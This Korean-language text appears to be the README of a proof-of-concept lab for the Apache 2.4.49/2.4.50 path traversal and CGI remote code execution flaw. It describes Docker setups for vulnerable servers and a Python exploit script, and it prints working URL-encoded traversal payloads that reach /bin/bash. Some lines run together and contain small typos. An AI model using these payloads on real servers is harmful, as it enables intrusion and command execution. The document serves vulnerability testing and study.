
Apache HTTP Server 2.4.49의 경로 정규화 변경에서 결함이 발견되었습니다. 공격자는 경로 순회 공격을 사용하여 Alias 계열 지시문으로 구성된 디렉터리 외부의 파일에 URL을 매핑할 수 있습니다. 이러한 디렉터리 외부의 파일이 기본 구성인 "require all denied"로 보호되지 않으면 요청이 성공할 수 있습니다. 별칭이 지정된 경로에서 CGI 스크립트도 활성화된 경우 원격 코드 실행이 가능할 수 있습니다. 이 문제는 실제 환경에서 악용된 것으로 알려져 있습니다. 이 문제는 Apache 2.4.49에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다. Apache HTTP Server 2.4.50에서 적용된 수정은 불완전합니다. CVE-2021-42013을 참조하십시오.
pip3 install colorama로 설치하는 python 라이브러리)perl CGI 스크립트 예제취약한 Apache httpd(기본 구성)를 docker/podman 컨테이너로 시작합니다.
| Dockerfile | 컨테이너 | 버전 |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| 컨테이너 | 수신 포트 |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 2.4.49 버전에 대한 공격을 선택합니다
1.3 python3 main.py localhost:2450
1.4 2.4.50 버전에 대한 공격을 선택합니다
이 익스플로잇은 Apache httpd의 CGI 모듈을 활용하여 경로 순회를 통해 임의의 실행 파일을 실행할 수 있게 합니다.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/는 URL 인코딩되어 있으며 디코딩하면 ../와 같습니다.
.%%32%658는 이중 URL 인코딩되어 있으며 디코딩하면 역시 ../와 같습니다.